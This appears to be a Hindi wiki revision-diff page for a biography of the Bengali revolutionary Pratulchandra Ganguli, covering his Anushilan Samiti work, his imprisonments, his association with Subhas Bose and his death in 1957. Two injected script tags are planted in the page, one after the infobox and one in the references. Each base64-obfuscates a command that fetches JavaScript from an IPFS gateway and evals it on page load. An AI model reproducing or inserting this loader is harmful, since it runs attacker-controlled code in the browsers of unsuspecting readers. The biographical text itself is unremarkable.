"प्रतुलचंद्र गांगुली" के अवतरणों में अंतर
कविता बघेल (चर्चा | योगदान) (''''प्रतुलचंद्र गांगुली''' (अंग्रेज़ी: ''Pratulchandra Ganguli'', जन्...' के साथ नया पृष्ठ बनाया) |
कविता बघेल (चर्चा | योगदान) |
||
पंक्ति 1: | पंक्ति 1: | ||
− | '''प्रतुलचंद्र गांगुली''' ([[अंग्रेज़ी]]: ''Pratulchandra Ganguli'', जन्म- [[1884]], चंदपुर, [[बंगाल]]; मृत्यु- [[1957]]) [[भारत]] के क्रांतिकारियों में से एक थे। [[सत्याग्रह]] के कारण इन्हें कई बार जेल जाना पड़ा था। ये बंग- | + | {{सूचना बक्सा स्वतन्त्रता सेनानी |
+ | |चित्र=Blankimage.jpg | ||
+ | |चित्र का नाम=प्रतुलचंद्र गांगुली | ||
+ | |पूरा नाम=प्रतुलचंद्र गांगुली | ||
+ | |अन्य नाम= | ||
+ | |जन्म=[[1884]] | ||
+ | |जन्म भूमि=चंदपुर, [[बंगाल]] | ||
+ | |मृत्यु=[[1957]] | ||
+ | |मृत्यु स्थान= | ||
+ | |मृत्यु कारण= | ||
+ | |अभिभावक= | ||
+ | |पति/पत्नी= | ||
+ | |संतान= | ||
+ | |स्मारक= | ||
+ | |क़ब्र= | ||
+ | |नागरिकता=भारतीय | ||
+ | |प्रसिद्धि=स्वतन्त्रता सेनानी | ||
+ | |धर्म=[[हिंदू]] | ||
+ | |आंदोलन=[[सत्याग्रह]], [[बंग भंग]] आंदोलन | ||
+ | |जेल यात्रा=[[सत्याग्रह]] के कारण कई बार जेल गये। | ||
+ | |कार्य काल= | ||
+ | |विद्यालय= | ||
+ | |शिक्षा= | ||
+ | |पुरस्कार-उपाधि= | ||
+ | |विशेष योगदान= | ||
+ | |संबंधित लेख= | ||
+ | |शीर्षक 1= | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी=प्रतुलचंद्र गांगुली अपनी लोकप्रियता के कारण [[1929]] में बंगाल कौंसिल और [[1939]] में बंगाल असेम्बली के सदस्य चुने गए थे। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | '''प्रतुलचंद्र गांगुली''' ([[अंग्रेज़ी]]: ''Pratulchandra Ganguli'', जन्म- [[1884]], चंदपुर, [[बंगाल]]; मृत्यु- [[1957]]) [[भारत]] के क्रांतिकारियों में से एक थे। [[सत्याग्रह]] के कारण इन्हें कई बार जेल जाना पड़ा था। ये [[बंग भंग|बंग-भंग]] विरोधी आंदोलन के सदस्य थे। इनका कार्य क्षेत्र [[ढाका]] था। प्रतुलचंद्र गांगुली सुभाष बाबू के विश्वस्त सहयोगी थे। इन पर [[स्वामी विवेकानंद]] और [[बंकिम चंद्र चट्टोपाध्याय|बंकिम चंद्र]] के विचारों का गहरा प्रभाव पड़ा था। ये अपने विचारों के प्रचार के लिए [[बंगाल]] के पत्रों में बहुधा लिखा करते थे। ये [[कांग्रेस|कांग्रेस संगठन]] और 'अखिल भारतीय कांग्रेस कमेटी' के सदस्य भी रहे थे।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन=भारतकोश पुस्तकालय |संपादन=|पृष्ठ संख्या=487|url=}}</ref> | ||
==परिचय== | ==परिचय== | ||
प्रतुलचंद्र गांगुली का जन्म 1884 ई. में [[बंगाल]] के चंदपुर में हुआ था। आरंभिक शिक्षा पूरी कर के ही ये बंग-भंग विरोधी आंदोलन में सम्मिलित हो गए और क्रांतिकारी कार्यों के गुप्त संगठन 'अनुशीलन समिति' के सदस्य बन गए। | प्रतुलचंद्र गांगुली का जन्म 1884 ई. में [[बंगाल]] के चंदपुर में हुआ था। आरंभिक शिक्षा पूरी कर के ही ये बंग-भंग विरोधी आंदोलन में सम्मिलित हो गए और क्रांतिकारी कार्यों के गुप्त संगठन 'अनुशीलन समिति' के सदस्य बन गए। | ||
==क्रांतिकारी गतिविधियाँ== | ==क्रांतिकारी गतिविधियाँ== | ||
− | प्रतुलचंद्र ने अनेक क्रांतिकारी कार्यों में सक्रिय भाग लिया। पहले इनका कार्य क्षेत्र ढाका था। [[1913]] में [[कोलकाता]] आते ही इन्हें | + | प्रतुलचंद्र ने अनेक क्रांतिकारी कार्यों में सक्रिय भाग लिया। पहले इनका कार्य क्षेत्र ढाका था। [[1913]] में [[कोलकाता]] आते ही इन्हें गिरफ़्तार कर लिया गया और 'बारीसाल षड्यंत्र केस' में मुकदमा चला, जिससे इन्हें दस वर्ष की सजा हो गई। [[1922]] में जेल से बाहर आए और फिर क्रांतिकारियों को संगठित करने में जुट गये। |
− | [[1923]] में [[दिल्ली]] में हुए [[कांग्रेस]] के विशेष अधिवेशन में प्रतुलचंद्र गांगुली ने भाग लिया। वही इनकी भेंट सुभाष बाबू से हुई और दोनों में इतनी निकटता बढ़ी कि ये उनके विश्वस्त सहयोगी बन गए। लेकिन ब्रिटिश सरकार ने इन्हें बाहर नहीं रहने दिया और [[1924]] में ये फिर से | + | [[1923]] में [[दिल्ली]] में हुए [[कांग्रेस]] के विशेष अधिवेशन में प्रतुलचंद्र गांगुली ने भाग लिया। वही इनकी भेंट सुभाष बाबू से हुई और दोनों में इतनी निकटता बढ़ी कि ये उनके विश्वस्त सहयोगी बन गए। लेकिन ब्रिटिश सरकार ने इन्हें बाहर नहीं रहने दिया और [[1924]] में ये फिर से गिरफ़्तार कर लिए गये। गिरफ़्तारियों का सिलसिला ऐसा चला कि [[1946]] तक इनका अधिंकाश समय जेलों के अंदर ही बीता। अपनी लोकप्रियता के कारण प्रतुलचंद्र गांगुली [[1929]] में बंगाल कौंसिल और [[1939]] में बंगाल असेम्बली के सदस्य चुने गए। कांग्रेस संगठन से भी ये जुड़े थे और अखिल भारतीय [[कांग्रेस]] कमेटी के सदस्य रहे। |
==मृत्यु== | ==मृत्यु== | ||
प्रतुलचंद्र गांगुली का अधिकांश समय जेलों के अंदर ही बीता और इस प्रकार [[1957]] में इनका देहांत हो गया। | प्रतुलचंद्र गांगुली का अधिकांश समय जेलों के अंदर ही बीता और इस प्रकार [[1957]] में इनका देहांत हो गया। |
08:51, 22 जून 2017 के समय का अवतरण
प्रतुलचंद्र गांगुली
| |
पूरा नाम | प्रतुलचंद्र गांगुली |
जन्म | 1884 |
जन्म भूमि | चंदपुर, बंगाल |
मृत्यु | 1957 |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतन्त्रता सेनानी |
धर्म | हिंदू |
आंदोलन | सत्याग्रह, बंग भंग आंदोलन |
जेल यात्रा | सत्याग्रह के कारण कई बार जेल गये। |
अन्य जानकारी | प्रतुलचंद्र गांगुली अपनी लोकप्रियता के कारण 1929 में बंगाल कौंसिल और 1939 में बंगाल असेम्बली के सदस्य चुने गए थे। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
प्रतुलचंद्र गांगुली (अंग्रेज़ी: Pratulchandra Ganguli, जन्म- 1884, चंदपुर, बंगाल; मृत्यु- 1957) भारत के क्रांतिकारियों में से एक थे। सत्याग्रह के कारण इन्हें कई बार जेल जाना पड़ा था। ये बंग-भंग विरोधी आंदोलन के सदस्य थे। इनका कार्य क्षेत्र ढाका था। प्रतुलचंद्र गांगुली सुभाष बाबू के विश्वस्त सहयोगी थे। इन पर स्वामी विवेकानंद और बंकिम चंद्र के विचारों का गहरा प्रभाव पड़ा था। ये अपने विचारों के प्रचार के लिए बंगाल के पत्रों में बहुधा लिखा करते थे। ये कांग्रेस संगठन और 'अखिल भारतीय कांग्रेस कमेटी' के सदस्य भी रहे थे।[1]
परिचय
प्रतुलचंद्र गांगुली का जन्म 1884 ई. में बंगाल के चंदपुर में हुआ था। आरंभिक शिक्षा पूरी कर के ही ये बंग-भंग विरोधी आंदोलन में सम्मिलित हो गए और क्रांतिकारी कार्यों के गुप्त संगठन 'अनुशीलन समिति' के सदस्य बन गए।
क्रांतिकारी गतिविधियाँ
प्रतुलचंद्र ने अनेक क्रांतिकारी कार्यों में सक्रिय भाग लिया। पहले इनका कार्य क्षेत्र ढाका था। 1913 में कोलकाता आते ही इन्हें गिरफ़्तार कर लिया गया और 'बारीसाल षड्यंत्र केस' में मुकदमा चला, जिससे इन्हें दस वर्ष की सजा हो गई। 1922 में जेल से बाहर आए और फिर क्रांतिकारियों को संगठित करने में जुट गये।
1923 में दिल्ली में हुए कांग्रेस के विशेष अधिवेशन में प्रतुलचंद्र गांगुली ने भाग लिया। वही इनकी भेंट सुभाष बाबू से हुई और दोनों में इतनी निकटता बढ़ी कि ये उनके विश्वस्त सहयोगी बन गए। लेकिन ब्रिटिश सरकार ने इन्हें बाहर नहीं रहने दिया और 1924 में ये फिर से गिरफ़्तार कर लिए गये। गिरफ़्तारियों का सिलसिला ऐसा चला कि 1946 तक इनका अधिंकाश समय जेलों के अंदर ही बीता। अपनी लोकप्रियता के कारण प्रतुलचंद्र गांगुली 1929 में बंगाल कौंसिल और 1939 में बंगाल असेम्बली के सदस्य चुने गए। कांग्रेस संगठन से भी ये जुड़े थे और अखिल भारतीय कांग्रेस कमेटी के सदस्य रहे।
मृत्यु
प्रतुलचंद्र गांगुली का अधिकांश समय जेलों के अंदर ही बीता और इस प्रकार 1957 में इनका देहांत हो गया।
|
|
|
|
|
टीका-टिप्पणी और संदर्भ
- ↑ भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 487 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>